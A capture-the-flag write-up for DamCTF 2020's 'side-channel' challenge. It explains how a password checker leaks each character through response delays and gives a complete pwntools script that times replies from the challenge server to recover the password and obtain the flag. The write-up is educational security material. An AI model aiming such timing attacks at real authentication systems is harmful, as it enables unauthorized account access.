Tags: python3 misc password-cracking scripting 

Rating: 5.0

# misc/side-channel @ DamCTF Oct. 2020

## Description

> We built a super-secure password checker.
> Can you guess what my password is?
>
> This challenge does NOT require brute forcing, you can get the flag with one
> connection.

* challenge author: **Yeongjin Jang**
* solves: **143**
* points: **309**

## Analysis

We are given a python file that shows exactly what's happening behind
the scenes. We will take a look at the main parts of that file, but
[here](https://gist.github.com/igotinfected/1f14bd846db8c38101fbd888b261f0a8) is the full source code.

### Password generation

```python
# initialize password
def init_password():
global password
global sample_password
# seems super secure, right?
password = "%08x" % secrets.randbits(32)
sample_password = "%08x" % secrets.randbits(32)
```

32 random bits are generated, and they are formatted into an 8 digit hexadecimal
format.

### User guessing

```python
# the function that matters..
def guess_password(s):
...
if user_guess != password[i]:
# we will punish the users for supplying wrong char..
time.sleep(0.3 * charactor_position_in_hex(password[i]))
...

# convert hex char to a number
# '0' = 0, 'f' = 15, '9' = 9...
def charactor_position_in_hex(c):
string = "0123456789abcdef"
return string.find(c[0])
```

The password guessing is done by looping over the password characters. The user
is prompted for one character. If the guess is wrong, the user is punished
by some specific amount of sleep controlled by the real password character at
the given index.

Since we can measure the amount of time taken by the server to respond, and
since we know how much sleep corresponds to a specific character
('0' -> 0.0, '1' -> 0.3, '2' -> 0.6, ...), we can guess the correct characters
after every response.

### Solving

Since we are allowed to guess the full password twice, we can use the first pass
to find the correct password, and the second pass to enter the correct password.

My solution looks like this:

```python
"""
Solve program for "side-channel" challenge @ DamCTF October 2020.
"""
import time

from pwn import log, remote

REMOTE = remote("chals.damctf.xyz", 30318)

def determine_character(time_taken) -> str:
"""
Guess a character based on time taken for reply

Example:
- if +/- 0.0 seconds -> '0'
- if +/- 0.3 seconds -> '1'
- if +/- 0.6 seconds -> '2'
- ...
"""
chars = "0123456789abcdef"
return chars[int(time_taken * 10 / 3)]

def solve() -> None:
"""
Solve function.
"""
# skip to first trial
while not "Trial 1" in REMOTE.recvline().decode("latin-1"):
pass

# skip first prompt
REMOTE.recvline()
password = ""
while True:
# send random guess
REMOTE.sendline("g")
# measure time taken for response
start = time.time()
received = REMOTE.recvline().decode("latin-1")
stop = time.time()
time_taken = stop - start

# guess password
log.info(f"Received answer: {received}")
log.info(f"Time taken: {time_taken}")
password += determine_character(time_taken)
log.info(f"Guessed password at this point: {password}")

# check if first trial is done
if "Trial 2" in received:
break

# skip first prompt
REMOTE.recvline()
for char in password:
REMOTE.sendline(char)
received = REMOTE.recvline().decode("latin-1")
if "Guess character" not in received:
log.info(f"Done! Flag: {received}")

if __name__ == "__main__":
solve()
```

One run of this solve script looks like this:

![solve.py](https://i.imgur.com/QyZRqrx.png)

Original writeup (https://medium.com/@igotinfected/misc-side-channel-damctf-oct-2020-126a21eb8120).